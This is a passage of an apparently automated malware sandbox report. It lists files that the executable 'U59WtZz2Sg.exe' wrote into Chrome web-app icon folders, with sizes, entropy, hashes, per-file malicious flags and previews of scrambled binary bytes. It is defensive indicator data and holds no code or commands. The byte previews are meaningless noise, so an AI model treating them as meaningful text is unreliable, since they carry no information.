SHA-512:	4EECED280E93B26C9FF19F54DC6F43696F1901497CF527D6917CFAF102D47EEBA79C7E1684109B526958BAA79673F10CF46EA48C69372CA5E0531D38A27053AE
Malicious:	false
Preview:	.PNG.......3.JC..t.Y.....x.-..J..[=.I..D.+S.. ..'\,H%.......J..i 1X......p......+.......8[Vc..N..7_..<......[.h.G..x.a........._O..g.....7,...mn....-..K....Y..N..K..YmuZ.%E)...T.I...Z.(aG..F..=...}....G.+.z...8s"=.c....e.......E....."1...!.nu.0..l..sU....n8.f...&...eW.....o.. 6Mc..m...d.e...<..-...R...3..Y....1.....v64m..}..@..N...'..@.YR.%...P.2?....MT.@\....!.[v..m..t..J.#C...0j..&.C.....Q.^......w.. ........t.K..r.i....H@i..y>cl\}d.=.=.f.1v[.....a..s?..I..<?..m..;.&>.I...p...+mV...._...l?..:..Yk....Z".t.v..r...Aw..9P...j.G.{@...]..).J}O./.^MjfK9.CR..\l......t..PY.......L..#.. &\|;..N...@....v.........n..p..Y.XuZ\|.1..8].....&...).._..eK.Ev..ZGP...7.!B..D3XO.E&...(e.....bb.._E.....8..o.7..A.H.S..}..aDrSA........PFZ....cY..c.#r._..E.H,K...&.Q..6........-.......>..M.a%.Nt.,..!.I...2..C...2....q.....4..H......n....aH..........A..;l..>.....K...W.B .zv.^.V..@m5...?..SNk..L....1.,.rr.j"..Bs/..R.e..y.(J.v.3.ZY...w[$y..?DP.K...,..

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak\Icons\96.png

Download File

Process:	C:\Users\user\Desktop\U59WtZz2Sg.exe
File Type:	data
Category:	dropped
Size (bytes):	6103
Entropy (8bit):	7.972218538034077
Encrypted:	false
SSDEEP:	96:z69egiySOjzOo4xYbqf+AISYT1dqNjvtPvszXHH9WjpQDOUP6ivEvsA4ibJcRkCT:W9NxSwzOo46G2AIVHYvtPv4nUjCDOUym
MD5:	7F6A14C1DC76DB709D26FF225487A0CE
SHA1:	A1DF7067495572CFFBA4E173DBFF4042A0B279A0
SHA-256:	CEE50B5D8E6F0134B4497B55944BD878800C6BCCE22B67194A5F5F97217F0030
SHA-512:	37D164D542C62BD809D97CB14D80AD09ACA6DB8EEFA60472CC2B3E03735E6BA77D62195CC719C6AB44D53E8972C4D10ED0A57C9ECF20151D94ABE9C2D62CA8A9
Malicious:	false
Preview:	.PNG....gq0.(Bp:h.]...;..A..y4...V..1.8`..q.iWu.S,..c.b..xO..d.wO,......z..."........X^..g[.{.q.S_.Xru....3M.\]8.>.OP.=4...g....s....t..9..wH..DU.bf.....@.l..0..Z?h.l...I..Z..........9..43q...o.9....Z..3`.......x.+\|O..k..[k..^.A...aGAQOm.....e.q:.fXC....h....]..x..$.pF3......_Y..n.e.8..3..j.[......m......I.i$....(...#.e...m..6.....KO...)...Br.2.7...Fy.....h..F3.V.=......Y..UM,t..tT.w......B.._O..+...5..%.O\|.t.?e......f..V.............H.}<.....Cf...Q......%.ZIC.) ..@.rj.]E......,..Dy3L7.......nF..6.@...v{.m.?.I.D@dp..jH#o.y.=.......>M.......X.F.P.....cY..!.!t(\|.JX......>=.#..T.......... Y.~.-9P.7..5A..3... {.'.c.....Dw.x6..;....h..MeK.X9/wG...':.up..\|.\...h.p.....3..v ..r.[...OjA.H...Z./....W..6C_......Q>.V....K....a...8...Jc..[.....0....W..3..U. ....C...hH........]..d\|C.=..F..........#2..(.u.#..l..$.t.t<.. ..1..].v.+j..\.$.7.P.<..O.......e0..u0{.vf.$...J.=.........Gm...*;g..V....a.&..7;.o.b CP+....^.>Y=.+.%.U..o....E.T.._`.."

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\agimnkijcaahngcdmfeangaknmldooml\Icons\128.png

Download File

Process:	C:\Users\user\Desktop\U59WtZz2Sg.exe
File Type:	data
Category:	dropped
Size (bytes):	10398
Entropy (8bit):	7.981961379286768
Encrypted:	false
SSDEEP:	192:ONk2KJ7iy+9rI266cVt0cE68a/tqvMj7uWywkYxbbXMH2GmrrHeGk:iM7U0266M58iHkcX9H6
MD5:	6EF88F1B510917DFBBBC8D902BA3C80B
SHA1:	63093781DAAF91D41483A984839BDCE12BB5F764
SHA-256:	9A247E335C18D9ECB437C51ACA2A78ED74851642D067A6BE3602AF9116A8FC6D
SHA-512:	2875E21AE33455F2BF2B062ADB639C28D9FC875AED0D7A23807B4B5214FF4A7BF6199F45CEDCBE1F08FC2D1E7B3FF0EEA13827BCCA9CB78B79C0F86294021E87
Malicious:	false
Preview:	.PNG.T]...u.W..$.:.......m..;.q..h............b..p'.n..o.<..]{....9..}\..3[......R5.F.....O.fWdR.......:j$....2..-@..,zTP.Hs........O.E:.Wz..eT....8.....j....%...h\|..xg..&./...<N.L.=....4=.:s......d.b..w.3.w......{/.1.+5..'.h.B[..PJ...........\|...2z;d..6Q.&......#zz.E...8.....#).N..v..w..;nB.m.......B.w.w..8....T....._I...B....~.....+.....t.-...\|hr.k...n'hS.T.U0.br(.N....ZQ..IO.%...w....O......`....y...\N..Sa......h../.Qbv....:f...^.,%I1k..,......4\.[{.....h!i0.h..x.)....D..[W(6^X.n...>.7....H.um_..&<6).Z._.3.....-.2...M.la.......K..L.T.k."J..OZQi<f.P..s...".hx...".+..Z...Q.}#....2.{.[H......{..B.2D.:..."...6\7%Yn";X.....q`3e.2....W../../..?.'..r1='......4...+..!.?...........l...d.e.......8Z..........F..t...._u......>xn\.(d..g.....+.q.2@ .c.6.R..E... ...Y.....CG.....Y..7!.b8.....e..k%}@T..#...h...U..._._...#....]^..(..w1....Xd.>.3o5].".......-F.sQ......r!.PT/...8.B..Z......y%..U...tz......N5..6..\l.=.\^~.Q......>..9....

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\agimnkijcaahngcdmfeangaknmldooml\Icons\192.png

Download File

Process:	C:\Users\user\Desktop\U59WtZz2Sg.exe
File Type:	data
Category:	dropped
Size (bytes):	7289
Entropy (8bit):	7.976007936767282
Encrypted:	false
SSDEEP:	192:TncOpjJ34U4gqMCbTQy5rcDvfnwEA4fodE/NbEpOQMAMBIdMI:TnJLrbkbT1xaouoqNgF8Wd5
MD5:	F076A3B2F42CBEA6F27DBACDF7422778
SHA1:	657A8A22FC3FF100F9E9CD2FF8DC854847FFEC34
SHA-256:	F690CB7A8CB07948F2939F7B25820EE585B6ECD599FEFED3F301884578E9B952
SHA-512:	69FB4EF7B08D2361BAE352D29CC023F491741ACB9ECF4189152EA2490C69BDEB47902654CF051E2F3CD8EF61F784ACC87ADF1DFEC51B9A41B0568D212B57DB04
Malicious:	false
Preview:	.PNG....eK0.;f[..o..Q.5-#k.......R0...IPk..f.e...Ub.@f.\|a.UN.Df...C...Wd...K... sD.)I.....<.8..><,.&Fu...h.b..B.:.......$.[fl.....05L-.g3..\8..ZTGJ..(.Z.G.k...uQ._i....G.".#G.7..v{.2...>...t.Cv....T...+..$.....2..Y..6..........s>...jN.......3.m...R.'..Y[.c...l.F..d...OWA...I...6-.f.x.K.....w........E..&w"Y.....e~.pO...GI.-...X....<.=.RG.M...2wS.7>.h.lp...@li...5.y'..6.e..k....{R.+!j.Q....<V...x......0.z'..7..!L...".......KT....Y..i.Q.4Ew.~V.%T......O....ls...M:.,..]e0..7... U.}.......C'..F?O......>.Z....R.).SVp..........-......j...K!F. ._.1?.y..gV[Jk.p..j8_Q...$.......a...nJ.,5.T!.N.........y...t?i.NZ.J.e.)Sj...y(....M.XB.... S.QI1.o#-"=..v.W..5g2.-%.3.p,.j..........}M..u.....+....E. ..b..6r.....d...<.X...SL.."m..1d{pl.r..v..lO..rTj.hsK@C:`.}....w6...}....*k..E..v..RN.N..$...K.%..w....v..;^.....o..\./..]...>...W...?kAb..\....>.,.v5B..!........h>J.)..._.y......J..G#.r.ji. '...;]..~<.+m....3.,Et..Y...S..,...T.s...h[.\=$:..-.

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\agimnkijcaahngcdmfeangaknmldooml\Icons\256.png

Download File

Process:	C:\Users\user\Desktop\U59WtZz2Sg.exe
File Type:	data
Category:	dropped
Size (bytes):	25673
Entropy (8bit):	7.9939633129255085
Encrypted:	true
SSDEEP:	768:3U+l/mWGhtxiV7eSsS60SAmxe5B9m5fLuK1VC3Z88eMK:3UO/fGh7ioSDilSK1VC3deh
MD5:	F9D097A93E0D84C55B28E3E406827376
SHA1:	4D53B3C1A278BE4E516023B152443E3A4573D83C
SHA-256:	4458046279D68BC861963B6BE374EA087E3CA7B9AB0884151EBEBDD7DA44DC53
SHA-512:	298D09841C25F0BC1C863FE6C25788D7DC1F12E74C7C459300823C5E4A62DB18538D6EE8AE2CAF79F49FA7094247213B721720C73B4E9AA6233099EBEABA2B25
Malicious:	true
Preview:	.PNG.j..$.......\\|.t.p.L..).O.aQ)....f.....Y.....E...:..Y)1.%q=f..n.$..\|.K.9E..7.R3l.w.el....q..v.(....x...$,@.......cS..u.4..[.+..7.V\|.i.w.m.l.....gz.K.]..R....E.t.7ke.B&Nh..9B.....J.=...4.u..]\|..X..Lvf.m.}..dA.l..=..9.........<....S6.Y.K....._........@._h'i......'U...Na......c#`....6....LQ@e.7..3%q.(..u..A..W.......U.OC....3...\N.......v..9`[....pl.S.hq'O4......fX...Tw}n.4J6."].'....GP...3.4.......;@'(..J............,[i-..nL....,e.....E.Y....;.....NI.....P....M...xF.R9.T..w.k.G.j.Cr.. BZ#[c.{.6n.\.X.......>.."...z..+..4Q..5.....+\|...t.#JA..A... :......=.].g..`X..0.!...kP.G..vv x.zi(..9 .jGT.E(]i.j:.m..F....g...>..!?...T.).g...>.........../.,...\|Z...(.c.rY.v.d......^'CH.`.O...Qh.j)..U..s.$.e.^..V Dlq.[V...e..........k........2{B.CH.8.z.1...:.p*>...<}@.....3..%.=w.....Gu.....!.#.Z..S...g..d2.0,.\|..%..a.:......2.....5.>..0E.%.D.5..^..0.:.L.f..a......~.-...5&....YJ)..?..3....Z....J...1...P.v..0Kc.Z....v..JNBjk.8.....C..j@..PP\|={${].

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\agimnkijcaahngcdmfeangaknmldooml\Icons\32.png

Download File

Process:	C:\Users\user\Desktop\U59WtZz2Sg.exe
File Type:	data
Category:	dropped
Size (bytes):	1823
Entropy (8bit):	7.8743531472906465
Encrypted:	false
SSDEEP:	48:Q0ULZgmln7g5RcJEQUw6hPHY+0W3zFSx3AYMm90/eY/Mifqe4OgD:1aZxciEQUwEl3zF2AYF0HMbe6
MD5:	4A3EEFC211932FE5039B61B9DE3585CA
SHA1:	6E07009C5BA7A53B37401068D33E316990DD56D8
SHA-256:	FAD4B8217B83675E773089AE59D284797308A608655E5D469EB1956AA11F5C5E
SHA-512:	A12D8E21F32D3229309F6E8C3259B02C26F5517CA8C8D39E3ED66E10ABB38CF31D7D898BEE55589A5BC01B77CD2AA3DFD8D35B6107530AD66F752EA5381F6057
Malicious:	false
Preview:	.PNG.vS)4Cb.... .....@-].8..C5......;?..(w_F9.=$..<.z..I....Z.......).{.B.#.]~.\|...J.1.........jw.[..@v[S..W....o..7D....$...N....W."#s...mJ.A.....#AG...f...S.jj.....X.%L{v=....l.F..^ST.9....!3..Je..1../......;.0.g0g.L...o.G.....$:{"xA.Bi./..1.....(P.....6.jsH.i.."....[].......\|..s..y.....`.I2o..e.\|.....<....w...W2...E+~....Z.s.;.tV.0=....{..I....5H...V3..W..vb..N......BY.y}.XGU...g.^`;......\..Z...1..}.s=o'g.#....z.^]..+&.....!..Ev1. 4....86.....:R..".}7..nz.....j6sUg..L.L.j..,c..Am..>.r~O(h4.}...+....R.<C.7...P.3%.5..P?..'....X.Kw#.4...\|..o5.]. ..&U._@Z6.Ug.....,...K...@`...Xj.....@\..............=C.bjX........5.b.S...qA~[.)..Ba.#T.%...s'..D^6.O........!p.0.Q:.'......ZD.1yL...T..,.59o...D.CCa.3.H.D.z.Z....U....0S.7.o....[.....pJc..u..c;.1f...xb.Q.+...W&..:M.8u.B'..h.{....z...1.x:......"...D.n."-m.....D@.w.d?m.".y.`)...!..]....uY=.......J".I.[....~...I..k..T.*}_..? .....oq....t.....s,....HPf..4@t.....q...$XPX..V...i..$..1.?.e

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\agimnkijcaahngcdmfeangaknmldooml\Icons\48.png

Download File

Process:	C:\Users\user\Desktop\U59WtZz2Sg.exe
File Type:	data
Category:	dropped
Size (bytes):	2747
Entropy (8bit):	7.934144817292472
Encrypted:	false
SSDEEP:	48:02sTX5ny606/szFEKHgJh2u3OAEMyqsGM2ngOM+SJlaXczzyYFkuwD:0o8LWufOcnCJlHKYts
MD5:	B2C6ECE3FED803C21815DEDA4AC424B2
SHA1:	F4F6C3F4E78ED5691A07DB923336C64C1D3FE293
SHA-256:	8E5B57F7A36B67E2A1F05EA0ED270A0436AF5510BCCC0F8C4DCD2CC070790CE3
SHA-512:	02BF61BEC4E307943DFFE1F245D83DA4286F4EEECC724D093EFFB17A18628642B8033831C46531171ED89EC4F218CA717F1EB318E9528ED0FFBC5AD5F01DF091
Malicious:	false
Preview:	.PNG....x......B.....8R..5p.3.l..H1.NL.R;.<.I.b.f..i....p.'.......2.Pu....<ig....AP._n8b...R.sY.s........R.A.1..u...g...R.....83.9.0.m..~m.[\|.RE].....1.=.u=..K.z@..........~Mz.t..=.O..............@..4o...c....~...7..1.6B..N..6R..f6..B'f..Kca.m........h].4,.'JM..Dx.......k.ljhg.(D.m.....rz...4..g...H....:3].t...N\...z..o.ga.....F......d.tm.Y..)fO!R....I7.l..C..=...c..^....W.I.?..e.......Y..Rp.N{.t...[...{..Ua..........>..96...:e..Z...^....pX.5].%........L.(V.n..5t.....`...`..kWbk .X.L..^^}.3.,3...G......&..... ....[.....l...2J6...$.../../..w.{..n..=.....R.z.]...S!.D....BC.n.O.PSh...4zO.\.....I...~../.2...B%....>{.Y-..+.........l..w....6.....].S..:Zi1.ru_..u.....w'\|sGI.....:..nY..;O..P.v.=..;.HR@.?1w.....p..Br.STe.WB....&.wha\|.#K.A3H..!..#.{........K;.p..Oe.........}.C_.U.\>'.......W...U...8.... ........l.a..^....@...J..d.ch# )....(.k...Z..v..R..........g..[..;.b.n......2J.\|..p..>...T..<'....'..3..;b\|..XXV...Q..\|.+H...........

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\agimnkijcaahngcdmfeangaknmldooml\Icons\64.png

Download File

Process:	C:\Users\user\Desktop\U59WtZz2Sg.exe
File Type:	data
Category:	dropped
Size (bytes):	4111
Entropy (8bit):	7.949936786165925
Encrypted:	false
SSDEEP:	96:tUEAd8PfwLG0hFjfpBpUWinOVsinMnQPXwj3+Wzgls:tUDmwy0hxB6lEuQPXwjuWzUs
MD5:	B506C030F5FDB0F2F82015154DC85B28
SHA1:	6437DB3E933FB57B3E0AC61E9250C924239D5803
SHA-256:	8A2EE33073057A42F4575F5FBB2A0E06884F4C1E512B75CAD1803365BBE05977
SHA-512:	D3F0A3435BD5ED031B29F8F0C9C884C4CDEAC90C0599F81165F8EFD27A20055C1816F7C5B1FFF1BF993F646CCBEFF235EF9E6B6B098EBEDDD9A51D46134C76EF
Malicious:	false
Preview:	.PNG.J..#...6&n..3.e....T.........TC.Z..aW./6b.H.....S..q....SIL......m.\|...;z.C.b...bV.k...n=.7.......).U.._.m...%.f..Hk.pH."4..5.!..........H.D.\K..Y....tR.. Y... .5..........<.Cs.....+...im.._Xfd.2..=X..R...U!r1.v...s..>m...}../....y.....[......+/t.5.YZ7..t.Q...~...t...J..s.\|U...B.....\|/...`...q0.s;G...M.pK.X......m....G...s.}..E...d9a.q........A...."Xf..#.d...8.$=e6..Q_.Y..#.....w..`.U..<tL4.....~l.[.!.g.Y......#....3..Yk_,.n(...d4..%jI.I../LJ.q0.s.8I...Q..C..-S.[.....k.RXI..p..W+t[..p...qf....e.OG.z..R.a..8.F.a..?.D..`8..a[T\.e.{b.S..b....2..L..#Z..&....U.....8._TTB...\|......,DQ\....$w2V.U!w..t..Z.L..E...1S.He;kVU.5F>U0.......H.)....84....?..T...c}.jzt..O.K..H..........d. }....u9.M.p..)d....wW:..Gd.. ..g...oHD..{.'...w.6.'.N.ki}w......vo..u..+...OE....R..'.~.9...7.`..}......f}g.$......SB..T.Qqp.......GFg..W.\|..0../.....;....F.6..a....&........\..... ..H..!...+......3...d.O.C#Hh~......J...E.n.)._..xr.j.0.CI.d._.30.4.......R

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\agimnkijcaahngcdmfeangaknmldooml\Icons\96.png

Download File

Process:	C:\Users\user\Desktop\U59WtZz2Sg.exe
File Type:	data
Category:	dropped
Size (bytes):	7049
Entropy (8bit):	7.970794535964921
Encrypted:	false
SSDEEP:	192:thGcywKrx3iL10o6qo5suhn2V301Jnyn3fn7h:tIcWra0o6qyYV38+9
MD5:	0E214E2B74A4EABAF7ACD0EFC7E2E99A
SHA1:	3315E6BE97B49A0AAD6174F95BA5F97601EF815C
SHA-256:	6B447CC6AD4A09D4F24E5ED4A60FC57F2ED33F09A48458CBF0A1C5D90D202615
SHA-512:	A4593C4FEAED7E3F870AC8C6AA40CA96C802583950E1347D13DE598C99561504DCA104C093D026E734168266EC9C8D1FF82D88B63C5BD7A61FC827B7427223F8
Malicious:	false
Preview:	.PNG.Y.q:.D?[k.~..y.i.E.......vT.........Ce...........m[.F=.w....r.`.O...G..h..y.%.C....q.......!#E...0..(t\|-.... Z.....E...F...;.)...^^.\..9!x..z?z.>.h..L.)."^4.5....1..H.b.....7Ts%.........-..{0.Bd=..eZ^....k...%...F3]..-...6.]...x..{hD...-g..+.0dl...`i w.5H....O<7y..f.25B.NP..a.....S./../.?,,^zLE.'T....c......@.)8i.....^.....2..............n\4...>.V.I.JQ..v....Q.2...b..E.+..v...)...M...#CJgIX.t.e.n..-e.;.w......L.P.A..8.....U"_.SfS.v.Z..}...W.85.NT3..p.r..L....i....'......%....{Y.\...zB.<...c%FYs..7...v.1..."...64..W..............W7..vm.=..U.!&N..,].pXD?a.fy.._....\.[.....vw7.%qbY9..6B..tE;..6...r.,;4."I.&..k..T..\|..J7.....]..\T.j.E.c.k...B..n..!.).`.sU.4.b'.f.................%].M......]..\|.xT...8.\|....$.f..`...B0nX.....F...........'.^^ ...U..i..(9..*..W.-..})..6k.m.i...2...1.@..s..J.dO.8o..a.pE..2.'.]...0o..e.+...l.{....e.C.]r2.,....A.}=Ig........3....y.g\|.W...].6fX;:D.....!.w...E$.n=.. Q........h.Q......>......9..c9...7...

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fhihpiojkbmbpdjeoajapmgkhlnakfjf\Icons\128.png

Download File

Process:	C:\Users\user\Desktop\U59WtZz2Sg.exe
File Type:	data
Category:	dropped
Size (bytes):	2642
Entropy (8bit):	7.929673355975747
Encrypted:	false
SSDEEP:	48:utNv0wu6VFCPJUOK3AHEm1jxWnAY9+raZ7a2R1rp69AfXGSudCEM2bcNh3b4QD:utFA6vCPqpiEM8nAY9qUaSrZfsAEMVrd
MD5:	CEF6DFCEB828F5D98A6A17EAD46AEC0E
SHA1:	280F1B285D68E01BC88773C849C2AA24A5FDAB52
SHA-256:	801702444DA5CC6663EA96C913A0B1D924689645DF07FC452455797F91E5C829
SHA-512:	72DA1C1978CC718DFA8BE01F5E7D17DA08CDF0DA96770BBAE8624ECD1EBEC95C73A10FABF83BEB4CC0DF19DDBC435F11736D66CCDE6352824F56B33DF99075CB
Malicious:	false
Preview:	.PNG.G..)X>.}..M.YW.l6..L,.x)...u.....[.,....-1^P...$.\|.D"t..A.U.B..U[.>...Y.I.}a......h.......K\|..o.t.....h.r....."........~J.[....Mr5..P.^k....$M..T...(.L.........\...c.....D.D^..1b.\.].&.c9..ao.8o4.....#.^.F(]+Jq.<g[P....}..~........K....b.vq......8.9...qg.$.N....?...VU...).....u.$-(......Dh..L..!.;...g4i%..rB.5.6.o.YM.. .d.S..dp....Bq......<x.._...5....8.}.-.K.S.t#.%.'^......+;c@.7...v...-t3.B.......X..e.....8.......0.$.C.q,...@.h.C.....o^.qv }.j..:.b.?....O.:.g.h#n.>P4.fL.f. .I..:I7p.:..iQ@..,$...4..(.i..\|VP.Iz.$..\|....T..(.t.]C..X..T,^..O..E.....<.....rS.v(...[.s...&..y..d....F...0 .......,n`..>E....?&.V.TE%n....g}8LK((.q#....WIV.........b..D....5.;...Ra..RP^........v.'i....E..>.V.Uw..U._7..B.BF@Q.....y.M....M.wk}........r.%.q..Ret.8g..^.%.....r...r..&.K...w...e.lu....:.v...j....~..#..2.1oc...`1..P....$.d..U. &..m.a...N.BE..B.p.].)q..\..y<.np..L.B........^....]..3R.~..@.T.?.....0.......`3........4-Y.zMSu..E.. ...[U.......

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fhihpiojkbmbpdjeoajapmgkhlnakfjf\Icons\192.png

Download File

Process:	C:\Users\user\Desktop\U59WtZz2Sg.exe
File Type:	data
Category:	dropped
Size (bytes):	1629
Entropy (8bit):	7.8810524179433505
Encrypted:	false
SSDEEP:	24:UTrQyjqYsHIoujiJnAfCLmS6jMXRzXElYqh8Oi2pbrzf7RyVxloQ267XWfNWKCZ4:W+nHDtmqlBLdOTHzdm7hJKEXsD
MD5:	895F05F6274C8D747CE2A1E6F090B0DC
SHA1:	C06B51C3D3FD61AD6E8EEAD96BB5D6F2CD54D955
SHA-256:	EA4DFAFDCED9ED2D1954089A43D70ED21621DCD53AB4D503B567853AAA5F7969
SHA-512:	EBEB199F550D50496A632DB6CD0F5DCAE0DF11D4E90125736CC9EAD999799F1BEE5370A15DE95D38C7359720799B9B0964B6E6D66779FBC2EE823D0B0A184200
Malicious:	false
Preview:	.PNG.u.F.-%....Q.s...(..fq=.2v....Y3..7.....V..s.A....a,.....'.i.C.>e<.......0-..'>.V..r..j.......N.<.@-&G..0..GV.W...K.....b......sZ..T...rO.q1M..u.Sk..<....jpD.3..5.o.y..[.H...Wdl..9s..W....o.......z...I..X..u.Do. B......;ZK&..............!>....7S.Y0.B~...m\.}.B.....h..h_..\|..E.....p..D....7....pi..0K@.1.n.7...p.......;...........<:.lu..@..}.1.........]......a.cA.@tsM..,d.....vb.4......K..Z[%...m.6:..!g;dD...9...Q`.a'....\|'i..7V.E.T.6wD..pY.....u\|...>....1..Q....Rao.\|.X.+.W}........!.. ..\|:.p......_B.............,..O...N.E.R.^h.P.c\..0.&t......N..z........Z&.f....v..1......).[..T@..\.ci.yx...4.........9..#.X....#t-4..rO...r.P.@.M..p.M./2~/.-.4%.W.,PL....<S.!>.<.9U..h...^.=.T3..{. .i..b.sH....q.AY>.<,Q..m......)0Ur.y..#. .g .H.~6.+T.@%$.....f......?U.^."T....x........$S.-...)9.a7...K@......5.......sd...$.;.....k...!m.s.i1~D..a..6...O..}.qU8n...q....2..^.v.....]...t...........'PP.B..)z.h4s...v.....X.6.`..u.....Y....M

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fhihpiojkbmbpdjeoajapmgkhlnakfjf\Icons\256.png

Download File

Process:	C:\Users\user\Desktop\U59WtZz2Sg.exe
File Type:	data
Category:	dropped
Size (bytes):	5525
Entropy (8bit):	7.964038854719876
Encrypted:	false
SSDEEP:	96:Ql//uFUHLwX4NsYqbfhPhlBBTymXsPnCob5z279jyyQlPtx1+AFek0fvoY78A9:Ql/MwiuqDh5gMs/CobRA9jyyQltz+zfV
MD5:	CF8471670A85CEAA1EFCECB31DE41D0E
SHA1:	A30959D5F6F0BBE0B04F8DF3859F1BEA595B3976
SHA-256:	71DEF8A1064DB9694B64DF4A3F376CD6CEEC08C9B556343FE4475E8A5BAAE310
SHA-512:	7BA1E02C352E8C9FC6A91DCB1A32EB5A728FA5AA5D394FB1895CD9396C0058412FA60558E08E512CAB5A6C65086337FA8BFBCDC2B55536E5794B23BD4FE77015
Malicious:	false
Preview:	.PNG....'...v=..$......^..=.i.....~.VQ7......rx...-\....G.5.......=..v.e...\|.`...Bo9..H..u.........R@@r.]>.......:.\.,......V.........W.c..N....7Q..^&.....C...b'/,....t...v...:.r...B.r...\....>...........C:.S...KW.B..._........M+.t.../.4%.....8h.7.V#;r.i...s.....N.DA.....WE..m.XPR1.Z9"...8...i.A....t..@..+.}....Z>....XB.#SnJ..p.W..t..q..!...b3}Oe.......g.{-...,..fqi.6..]n.+eiyj.2.....$L{>xIw\....v~k..$....x.S........I"...\|...x+w.....2...[..)..Fs...2.....q.w.......?.+..3....<T&!K.a....W.xu..._s.D...2...P#.@...8.Ki.......:..)..j.&.6....H.....w........d.r,v.0.f.d.E.s..?_W.......>3...U.?.`..m..8.gt<.........p..w..c..(..#..`.....T...N.6.`6...r..$11..B.. f...`...L.U.o.;..7r~.C<.V..).......eb\QN....D.HG..z........h.[.B.v..,s...$......^.t.......=.+...........w.!.cZ.G.uj.i.;a..!/.$.b..0..).t.4%{....(\|)..\_.D.#s.i6&.....Q..... l..%.8.GEY..u0.n..A....jC.....".8..$jG-..b...Qh6..n..4#.3.9.a..'.>.._.C......a(_.Z>#.C...y.<._:.^.`{...Y...1. ...G..

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fhihpiojkbmbpdjeoajapmgkhlnakfjf\Icons\32.png

Download File

Process:	C:\Users\user\Desktop\U59WtZz2Sg.exe
File Type:	data
Category:	dropped
Size (bytes):	1359
Entropy (8bit):	7.8470436207124825
Encrypted:	false
SSDEEP:	24:34jg4ya3uZ4SoRMdBPxF66JuUI1r9fxuky1sr61R6HfvRPV/3kic/bD:oGpd46ny9ZE13vyf8iAD
MD5:	F6C2C81B701113F1097E321E53DB4B5D
SHA1:	1BC7FF4B8C96DB62538990028310A71F25FD39AB
SHA-256:	89E26944E9427F10E049385C5FB9EFC56EAFE46E076479AE2DACCEB047199D69
SHA-512:	CD157D489D3C4B500453DF713011730C0130A111CC70CFB902176A46590F33EC7A7C5461B4BD3A422A62148D22403E0DC81CA5315DB10406B28B17EC73D91417
Malicious:	false
Preview:	.PNG.(.....T9/c.`.,Ih@.... A.Wj....gV.k...........\|1.Q}../.>p9\.n?1..x..Z..D...=...U.9}f...d.E\...@4d...(..i..7.1...!...u.....!j.XTG..8.b.nXh&.IjX}'...B7C.R...K.... Q.N.$./V...Z.`..^b\C.=.k.....3TK_..a..J..s.L..\|...M.A.4.. WA........,..m.^...A...Gj..i..uB..t.'.i.Our2...9.4..3...........d.=v.h...Fc...Jl..0'..S.,B..>...c..`..B.]..MNr\|...Z...Z....].^#ub...D..T..`........\.^,.[.".K2`ey8.....M..z..jg...r.x].....#.1.....7f.D.....s...C..&A...\3..b.[.px&&q.X.T...h;z.}G1..}T.......HM.f.#.@. ......U;o".......u..0.U.}.oF...q.......1'd...\o.....,...$ !4JK.....??.S.d..n..v.M..$...o?....kO..b...[.P'...2..).sc8...8C#]..jD.`...K...t..=.8:....9.PK..]..:_..l...Z....0.......aO..-.B..i.K...D....8...!.......=.i....xk...2.[.......?E..&.D3VZ..C..h..m.{.u....=..j-...DWx:....=..\|a..;dgXn"c.`.r.qh.L{-.!Mf.f!...;>3....Q .e.y\k.7..1....A...4.......q......w*.-......Z.:.e....>.#l.......l..U..v3...!...MJ...i....`F,.`.V.HU...].r....8.f.=.../.._P_.....l.......

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fhihpiojkbmbpdjeoajapmgkhlnakfjf\Icons\48.png

Download File

Process:	C:\Users\user\Desktop\U59WtZz2Sg.exe
File Type:	data
Category:	dropped
Size (bytes):	1703
Entropy (8bit):	7.871106632070574
Encrypted:	false
SSDEEP:	24:NJszrPPHWBkW8GPzvt+KA/t7+i1hHunwiMC27KMz32TjDbCHpLIgBHSEK8zPYfSl:9k7GPZ+KY7X1hqeC2WMij3KLnS0wSdD
MD5:	C59825685457BAF192B83432BD3F3827
SHA1:	DEFD4F3E8C73E2AB23D32C7CF45C8AF748665B00
SHA-256:	075D4DAB7BD727F16AEB40E7167373C9C686A5ECF82642D7F56AC5B056AF2573
SHA-512:	CDCAB46305E62F0754D740A7A824C56D384843BAA1CB205076FBE72A5F199641A3666A62C8DEFC6A23F7D9331998BED12548A63DF33E08AD70BA25BACB1D099A
Malicious:	false
Preview:	.PNG..{.s.gh5.#e.\..x.]...f9i;...`C#...F..-J..Cc.....R......5\`~%.$N..y.L.-T....d..........!.....E..]. ...P..;e.l._..&_.E^..\|h...s...\|.b..5.t<.P.....Zur...PP..."....Q...A.b.q..../D...lt..F...E$!..$+..(P8..l`.)$k.l_.X.)Ow.\......Wx..`f...\W...kB+.5.!>./..2.(...g/...R.......:`....<.f...p.Qf....h.'x...[.D...U.~zzf.4...&...>.......\|O87...'-R_.m.L..."..d.D...2<.%..u+cF........8t..]x.....N.a.$...2...z....4.....N...~..../...rg.B.f..m.iz....DZH.5.......`....6......_:s.> C...../UY.[/x-4....,y..h..#.......V..O../v.V..`...`%..J\.........X.h.T.@M......`..F...np.a.....1....pn...m.>...(r:)....'...J.c.sGY.P..M..[y. `........kp.....$................`.v..n.(.v../y..E..1..RI...u.] ......+.O......d..T..F.f.O!x.#.\|.g..@NM.0r.-..y....c=...C.....P..D...<^....t'I,.=.)..a,...+.2v..d.]..m..KZ_.....P.N...gyN.K.U.s.U..........o`.-...V....5.fv?....?._..a..j\."7.B...'.:....#.@..5_..)1.b.7.j.w..]7.-.n..f...g...j...?vG..-.b..+...E....0c-....n..F.b?W...ptJcj.eP......=.h.

